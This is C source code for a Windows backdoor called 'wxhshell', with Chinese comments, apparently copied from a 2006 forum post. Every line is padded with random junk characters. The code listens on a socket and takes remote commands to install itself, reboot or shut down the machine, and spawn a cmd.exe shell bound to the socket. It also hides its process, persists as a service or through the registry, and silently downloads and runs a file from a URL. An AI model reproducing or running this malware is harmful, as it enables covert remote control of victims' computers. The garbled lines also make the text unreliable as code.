  _2q4Aaza  
  // 帮助 *;Dd:D9  
  case '?': { 1s-k=3)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x6* {@J&5*  
    break; kCL)F\v"iT  
  } T_\HU*\  
  // 安装 N)lzX X  
  case 'i': { w}G2m)(  
    if(Install()) 6%JKY+n^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @L { x;  
    else +G"=1sxJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XPd>DH(Yc  
    break; `i8osX[&p  
    } a~Sf~ka  
  // 卸载 8*6vX!Z|  
  case 'r': { DOaEz?2)  
    if(Uninstall()) Vs]+MAL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $/}*HWVZ  
    else lzBy;i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vg#s  
    break; W*QD'  
    } A)2vjM9}K  
  // 显示 wxhshell 所在路径 |Pz-  
  case 'p': { @%IZKYf c~  
    char svExeFile[MAX_PATH]; p \; * :  
    strcpy(svExeFile,"\n\r"); HD IB GG~  
      strcat(svExeFile,ExeFile); 8js5/G+  
        send(wsh,svExeFile,strlen(svExeFile),0); Z=sy~6m+v  
    break; <P3r+ 1|R  
    } HLg/=VF7?  
  // 重启 1Z'cL~9  
  case 'b': { 9hHQWv7TgK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !.zUY6  
    if(Boot(REBOOT)) ?O8NyCeb7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  02Ur'|  
    else { ME[Wg\  
    closesocket(wsh); -9~kp'_a  
    ExitThread(0); L5(rP\B  
    } ' jZ2^  
    break; i5?)E7-  
    } }pbyC  
  // 关机 {q~Bss{z  
  case 'd': { )UI$ s"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xgrk>Fb|R  
    if(Boot(SHUTDOWN)) C?#if;c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 30*^ERO  
    else { /,"Z^=  
    closesocket(wsh); KwN o/x| v  
    ExitThread(0); ?cG+rC%  
    } r42[pi]F  
    break; a_^3:}i~D  
    } mn{8"@Z  
  // 获取shell f~jx2?W  
  case 's': { u6'vzLmM  
    CmdShell(wsh); @CP"AYB #  
    closesocket(wsh); jC*(ZF1B  
    ExitThread(0); q]0a8[]3  
    break; ';+;  
  } nSz Fs(]f  
  // 退出 g (33h2"  
  case 'x': { ^TyusfOz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fPiq  
    CloseIt(wsh); _{8f^@I"+  
    break; sRE$*^i  
    } Un]`Gd]:  
  // 离开 kWF4k  
  case 'q': { Hig=PG5I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;*:d)'A  
    closesocket(wsh); BcX}[?c  
    WSACleanup(); b\7-u-   
    exit(1); {0lY\#qcE  
    break; :bE ^b  
        } ^LfCLI9Z  
  } QBR9BR  
  } )?%FU?2jrn  
R$K.;  
  // 提示信息 7,!Mmu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9;&2LT7z  
} P0Ds7xh]h  
  } ;8 JJ#ED  
D2[wv+#)  
  return; 'AF2:T\  
} #~Lh#@h  
rnIv|q6@  
// shell模块句柄 <.HHV91  
int CmdShell(SOCKET sock) kN`[Q$B  
{ 0(Vbji  
STARTUPINFO si; Z9i,#/  
ZeroMemory(&si,sizeof(si)); L4zSro:Si  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jm =E_86_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \_!FOUPz(  
PROCESS_INFORMATION ProcessInfo; E(4ti]'4  
char cmdline[]="cmd"; jHT4I>\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YUF!Y9!  
  return 0; R 9o:{U]  
} F] +t/  
+#6WORH0S  
// 自身启动模式 Umm_FEU#]  
int StartFromService(void) %bt2^  
{ MKJ9PcVi  
typedef struct pCb@4n b  
{ 1#^[{XlAx  
  DWORD ExitStatus; Qf414 oW  
  DWORD PebBaseAddress; Nn ?BD4i  
  DWORD AffinityMask; o2 W pi  
  DWORD BasePriority; +IuV8XT2(  
  ULONG UniqueProcessId; k!xi (l<C  
  ULONG InheritedFromUniqueProcessId; =gGK243  
}   PROCESS_BASIC_INFORMATION; (u]ft]z,-B  
* <x]gV  
PROCNTQSIP NtQueryInformationProcess; 6[69|&  
394u']M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A~ '2ki5$g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `kwyF27v]  
*na7/ysT<  
  HANDLE             hProcess; mppBc-#EYr  
  PROCESS_BASIC_INFORMATION pbi; Ufv{6"sH  
";`ddN3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {uM0J$P:  
  if(NULL == hInst ) return 0; E;$t|~ #  
st{:] yTRk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S5" xb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u4IgPCTZ+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +=$\7z>s  
 .#zx[Io  
  if (!NtQueryInformationProcess) return 0; mZ/?uPIa  
,'Y*e[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N,(@k[uta  
  if(!hProcess) return 0; vn .wM  
{Xwin $C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m/0G=%d%k  
`.MM|6  
  CloseHandle(hProcess); 5WO!u:!'  
:B$=Pp1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [_|i W%<`  
if(hProcess==NULL) return 0; -gu)d5b  
<9"s&G@  
HMODULE hMod; 3 cT  
char procName[255]; }.NR+:0  
unsigned long cbNeeded; 18}L89S>  
bsr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S?r:=GS  
GE Xz)4[  
  CloseHandle(hProcess); L^RyJ;^c  
`*KS` z?  
if(strstr(procName,"services")) return 1; // 以服务启动 YCh!D dy  
bLCrh(<  
  return 0; // 注册表启动 WN>.+qM~8  
} (Uv{%q.n6  
0w< iz;30  
// 主模块 tOnaD]J  
int StartWxhshell(LPSTR lpCmdLine) :lgIu .  
{ \Y>^L{  
  SOCKET wsl; I4m)5G?O2  
BOOL val=TRUE; 2}[rc%tV:?  
  int port=0; d;D^<-[i  
  struct sockaddr_in door; R j(="+SPj  
y|.wL=;  
  if(wscfg.ws_autoins) Install(); .NCQiQ  
aZ5qq+1x  
port=atoi(lpCmdLine); ++R-_oQ  
E4}MvV=  
if(port<=0) port=wscfg.ws_port; 4d!&.Qo9  
A~*Wr+pv  
  WSADATA data; sFSrMI#R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vIN6W   
DQ9 <N~l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |g8 ]WFc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g\rujxHlH  
  door.sin_family = AF_INET; PA`b~Ct  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jd]MC*%  
  door.sin_port = htons(port); :eHh }  
\M:,Vg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BAzc'x&<  
closesocket(wsl); z]Ql/AK  
return 1; ?B@hCd)  
} 9tl Fbu  
QHP^1W`  
  if(listen(wsl,2) == INVALID_SOCKET) { ai#EFo+#  
closesocket(wsl); /RX7AXXB  
return 1; (C6Y*Zm\  
} 5kC#uk  
  Wxhshell(wsl); t,k9:p  
  WSACleanup(); D@DK9?#  
dH?pQ   
return 0; uBl&|yvxB  
b.YQN'  
} k^R>xV  
vk{4:^6.TV  
// 以NT服务方式启动 )byQ=-< 1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jG)>{D  
{ _'2r=a#`  
DWORD   status = 0; A<>W^ow  
  DWORD   specificError = 0xfffffff; o }Tv^>L  
~{2@-qcm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~+CNED0z+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =%2 E|/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yQou8P=%  
  serviceStatus.dwWin32ExitCode     = 0; t9 &O0tpe  
  serviceStatus.dwServiceSpecificExitCode = 0; }pTw$B  
  serviceStatus.dwCheckPoint       = 0; dN\pe@#lKP  
  serviceStatus.dwWaitHint       = 0; $PrzJc  
hH@018+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,wRrx&  
  if (hServiceStatusHandle==0) return; 7yQ r  
.P =!M  
status = GetLastError(); 1$".7}M4$  
  if (status!=NO_ERROR) Ls|;gewp  
{ Yd/qcC(&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E62*J$wN@  
    serviceStatus.dwCheckPoint       = 0; TuaT-Z~U{  
    serviceStatus.dwWaitHint       = 0; zYls>fbp,  
    serviceStatus.dwWin32ExitCode     = status; r9b`3yr=  
    serviceStatus.dwServiceSpecificExitCode = specificError; K''b)v X4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SG43}  
    return; QL|Vke:N4  
  } w`!Yr:dU  
ORfA]I-u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kl+*Sp!  
  serviceStatus.dwCheckPoint       = 0; HF47Lc*c  
  serviceStatus.dwWaitHint       = 0; 3P #1fI(c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z,2m7C  
} Dt r'X@U  
5O*+5n  
// 处理NT服务事件,比如:启动、停止 i>!f|<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R^PQ`$W 'R  
{ NiyAAw  
switch(fdwControl) \7og&j-h  
{ 55,vmDd  
case SERVICE_CONTROL_STOP: aQRZyE}  
  serviceStatus.dwWin32ExitCode = 0; )'fIrBT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4~o\Os+8  
  serviceStatus.dwCheckPoint   = 0; YVs{\1|'  
  serviceStatus.dwWaitHint     = 0;  1XHGW=n  
  { 9oGsrC lH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OW #pBeX99  
  } '}!dRpx  
  return; vW]BOzK  
case SERVICE_CONTROL_PAUSE: ipU"|{NK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }bB_[+YV`{  
  break; f(##P|3>R  
case SERVICE_CONTROL_CONTINUE: &VQwuO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6fkL@It  
  break; `8'|g8,wb0  
case SERVICE_CONTROL_INTERROGATE: Ge97e/ CY  
  break; /CX<k gz@  
}; j?.VJ^Ff/u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yTZbJx?m  
} @``!P&h  
pl7!O9bo  
// 标准应用程序主函数 x&;{4F Nw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %ecg19~L/}  
{ _oLK" * [#  
JH?[hb  
// 获取操作系统版本 d}WAP m  
OsIsNt=GetOsVer(); re^1fv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0} {QQB  
H:~LL0Md%  
  // 从命令行安装 hPEK@  
  if(strpbrk(lpCmdLine,"iI")) Install(); M rVtxzH  
fY-{,+ `'  
  // 下载执行文件 &}P62&  
if(wscfg.ws_downexe) { !{ )H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M)|}Vn;!  
  WinExec(wscfg.ws_filenam,SW_HIDE); D.\p7 NJ  
} -M/ny-; `}  
P+Hs6Q  
if(!OsIsNt) { v,2{Vr  
// 如果时win9x,隐藏进程并且设置为注册表启动 e|{6^g<ru  
HideProc(); /5wvXk|@  
StartWxhshell(lpCmdLine); 1;H(   
} K}a[~  
else T=>&`aZH  
  if(StartFromService()) IS8ppu&E  
  // 以服务方式启动 fQe-v_K  
  StartServiceCtrlDispatcher(DispatchTable); <M 7WWtmx  
else ?= ulf GrY  
  // 普通方式启动 ^WUF3Q**OU  
  StartWxhshell(lpCmdLine); |'a5n h!  
-M(:z  
return 0; AQ-PY  
}
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只看该作者 1 发表于: 2006-10-10
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